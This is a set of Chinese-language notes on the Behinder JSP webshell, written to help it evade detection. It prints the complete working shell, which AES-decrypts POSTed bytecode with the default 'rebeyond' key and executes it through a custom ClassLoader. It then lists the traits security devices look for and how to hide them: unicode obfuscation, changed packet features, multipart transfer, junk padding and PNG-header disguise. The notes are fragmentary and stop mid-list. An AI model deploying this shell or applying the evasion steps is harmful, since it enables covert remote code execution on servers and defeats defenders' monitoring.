AES + BASE64
数据包传递,传输过程被安全设备抓取特征webshell
: 静态查杀,敏感关键字和敏感方法被设备查杀实战功能
: 提高效率的功能,机械的操作<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*">
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);
//创建U类继承ClassLoader
}
public Class g(byte []b){ // 自定义一个g成员方法,接受字节类型的参数
return super.defineClass(b,0,b.length); // 调用父类的defineClass 动态解析字节码返回 Class 对象
}
}%>
<%if (request.getMethod().equals("POST")){ // 实例化类调用equals方法,
String k="1a1dc91c907325c6";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k); // byte[] add
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); // AES 解密
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);// base64编码,获取去一段bayte[],后续difineClass,获取到class,再通过newInstance()获取到类,重写equle方法,传递pageContext
}%>
core\Crypt.java
和 core\Decrypt.java
Payload
文件夹创建新类型的功能代码 文件名:payload\new-type\.....
core\Params.java
Utils\Utils.java
MainController.java
一 关键字扫描:
strToByte
uniocde
\u000d
实际上是一个换行符,语言识别为注释二 固定webshell-Hash 固定webshell大小
静态原版webshell,通常情况下,hash被记录,普通杀毒会查杀
未修改密码,默认密码被当作识别特征(behinder3密码通常为任意字符串MD5的前16位)
webshell
代码:同密码
、同类型
webshell Hash对比:2.0 存在密钥交互的特征
数据包的 Content-Type
结合数据内容
数据包的请求方式POST
解决办法:
修改数据交互中的数据包特征,可以配合正常网页内容特定地区加密内容
修改数据返回包的数据类型,自定义解析规则
修改数据传输的方式,通过multipart/form-data
方式进行数据传
数据包增加垃圾数据,通过特定标识符提取需要的返回值
数据交互方式:
png
头: